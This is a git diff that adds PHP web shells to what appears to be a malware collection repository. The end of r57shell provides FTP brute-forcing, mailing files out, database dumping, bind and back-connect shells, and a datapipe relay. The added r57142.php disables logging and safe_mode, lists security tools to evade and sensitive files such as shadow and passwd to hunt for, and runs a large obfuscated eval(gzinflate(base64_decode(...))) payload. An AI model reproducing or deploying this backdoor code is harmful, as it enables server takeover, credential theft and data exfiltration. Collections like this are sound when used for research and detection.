sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous")))); +echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com")))); +echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir)); +echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_up')); +echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir)); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt2'])); +echo $te."</td>".$fe."</tr></div></table>"; +} +if($unix && @function_exists("ftp_connect")){ +echo $fs.$table_up1.div_title($lang[$language.'_text94'],'id18').$table_up2.div('id18').$ts; +echo sr(15,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',85,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))).in('hidden','cmd',0,'ftp_brute').ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo sr(15,"","<font face=Verdana size=-2>".$lang[$language.'_text99']." ( <a href=".$_SERVER['PHP_SELF']."?users>".$lang[$language.'_text95']."</a> )</font>"); +echo sr(15,"",in('checkbox','reverse id=reverse',0,'1').$lang[$language.'_text101']); +echo $te.'</div>'.$table_end1.$fe; +} +if(@function_exists("mail")){ +echo $table_up1.div_title($lang[$language.'_text102'],'id19').$table_up2.div('id19').$ts."<tr>".$fs."<td valign=top width=50%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text103']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail').in('hidden','dir',0,$dir)); +echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com")))); +echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("hello billy")))); +echo sr(25,"<b>".$lang[$language.'_text108'].$arrow."</b>",'<textarea name=text cols=33 rows=2>'.(!empty($_POST['text'])?($_POST['text']):("mail text here")).'</textarea>'); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15'])); +echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text104']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail_file').in('hidden','dir',0,$dir)); +echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com")))); +echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("file from r57shell")))); +echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir)); +echo sr(25,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15'])); +echo $te."</td>".$fe."</tr></div></table>"; +} +if($mysql_on||$mssql_on||$pg_on||$ora_on) +{ +$select = '<select name=db>'; +if($mysql_on) $select .= '<option>MySQL</option>'; +if($mssql_on) $select .= '<option>MSSQL</option>'; +if($pg_on) $select .= '<option>PostgreSQL</option>'; +if($ora_on) $select .= '<option>Oracle</option>'; +$select .= '</select>'; +echo $table_up1.div_title($lang[$language.'_text82'],'id20').$table_up2.div('id20').$ts."<tr>".$fs."<td valign=top width=50%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text40']."</div></b></font>"; +echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select); +echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',15,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); +echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); +echo sr(35,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))).' <b>.</b> '.in('text','mysql_tbl',15,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user")))); +echo sr(35,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."<b>".$lang[$language.'_text41'].$arrow."</b>",in('checkbox','dif id=dif',0,'1').in('text','dif_name',31,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql")))); +echo sr(35,"",in('submit','submit',0,$lang[$language.'_butt9'])); +echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text83']."</div></b></font>"; +echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select); +echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',15,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); +echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); +echo sr(35,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql")))); +echo sr(35,"<b>".$lang[$language.'_text84'].$arrow."</b>".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),""); +echo $te."<div align=center id='n'><textarea cols=55 rows=1 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES; SELECT * FROM user; SELECT version(); select user();"))."</textarea><br>".in('submit','submit',0,$lang[$language.'_butt1'])."</div></td>".$fe."</tr></div></table>"; +} +if(!$safe_mode&&$unix){ +echo $table_up1.div_title($lang[$language.'_text81'],'id21').$table_up2.div('id21').$ts."<tr>".$fs."<td valign=top width=34%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text9']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','port',15,'11457')); +echo sr(40,"<b>".$lang[$language.'_text11'].$arrow."</b>",in('text','bind_pass',15,'r57')); +echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt3'])); +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text12']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text13'].$arrow."</b>",in('text','ip',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")))); +echo sr(40,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','port',15,'11457')); +echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4'])); +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text22']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text23'].$arrow."</b>",in('text','local_port',15,'11457')); +echo sr(40,"<b>".$lang[$language.'_text24'].$arrow."</b>",in('text','remote_host',15,'irc.dalnet.ru')); +echo sr(40,"<b>".$lang[$language.'_text25'].$arrow."</b>",in('text','remote_port',15,'6667')); +echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">datapipe.pl</option><option value=\"C\">datapipe.c</option></select>".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5'])); +echo $te."</td>".$fe."</tr></div></table>"; +} +echo '</table>'.$table_up3."</div></div><div align=center id='n'><font face=Verdana size=-2><b>o---[ r57shell - http-shell by RST/GHC | <a href=http://rst.void.ru>http://rst.void.ru</a> | <a href=http://ghc.ru>http://ghc.ru</a> | version ".$version." ]---o</b></font></div></td></tr></table>"; +echo '</body></html>'; +?> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/r57142.php b/web-malware-collection-master/Backdoors/PHP/r57142.php new file mode 100755 index 0000000..6dc0efc --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/r57142.php @@ -0,0 +1,42 @@ +<?php + +$language='eng'; +$auth = 0; +$name='xxx'; +$pass='xxx'; +@setlocale(LC_ALL,'ru_RU.cp1251'); +@ini_restore("safe_mode"); +@ini_restore("open_basedir"); +@ini_restore("safe_mode_include_dir"); +@ini_restore("safe_mode_exec_dir"); +@ini_restore("disable_functions"); +@ini_restore("allow_url_fopen"); +if(@function_exists('ini_set')) +{ + @ini_set('error_log',NULL); + @ini_set('log_errors',0); + @ini_set('file_uploads',1); + @ini_set('allow_url_fopen',1); +} +else +{ + @ini_alter('error_log',NULL); + @ini_alter('log_errors',0); + @ini_alter('file_uploads',1); + @ini_alter('allow_url_fopen',1); +} + +error_reporting(E_ALL); +$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl'); +$danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm', +'tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja'); +$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror'); +$tempdirs = array(@ini_get('session.save_path').'/',@ini_get('upload_tmp_dir').'/','/tmp/','/dev/shm/','/var/tmp/'); +$chars_rlph = "abcdefghijklnmopqrstuvwxyz"; +$presets_rlph = array('index.php','.htaccess','.htpasswd','httpd.conf','vhosts.conf','cfg.php','config.php','config.inc.php','config.default.php','config.inc.php', +'shadow','passwd','.bash_history','.mysql_history','master.passwd','user','admin','password','administrator','phpMyAdmin','security','php.ini','cdrom','root', +'my.cnf','pureftpd.conf','proftpd.conf','ftpd.conf','resolv.conf','login.conf','smb.conf','sysctl.conf','syslog.conf','access.conf','accounting.log','home','htdocs', +'access','auth','error','backup','data','back','sysconfig','phpbb','phpbb2','vbulletin','vbullet','phpnuke','cgi-bin','html','robots.txt','billing','Windows', +'Documents and Settings','Program Files','boot.ini','apache'); + +eval(gzinflate(base64_decode(str_rot13('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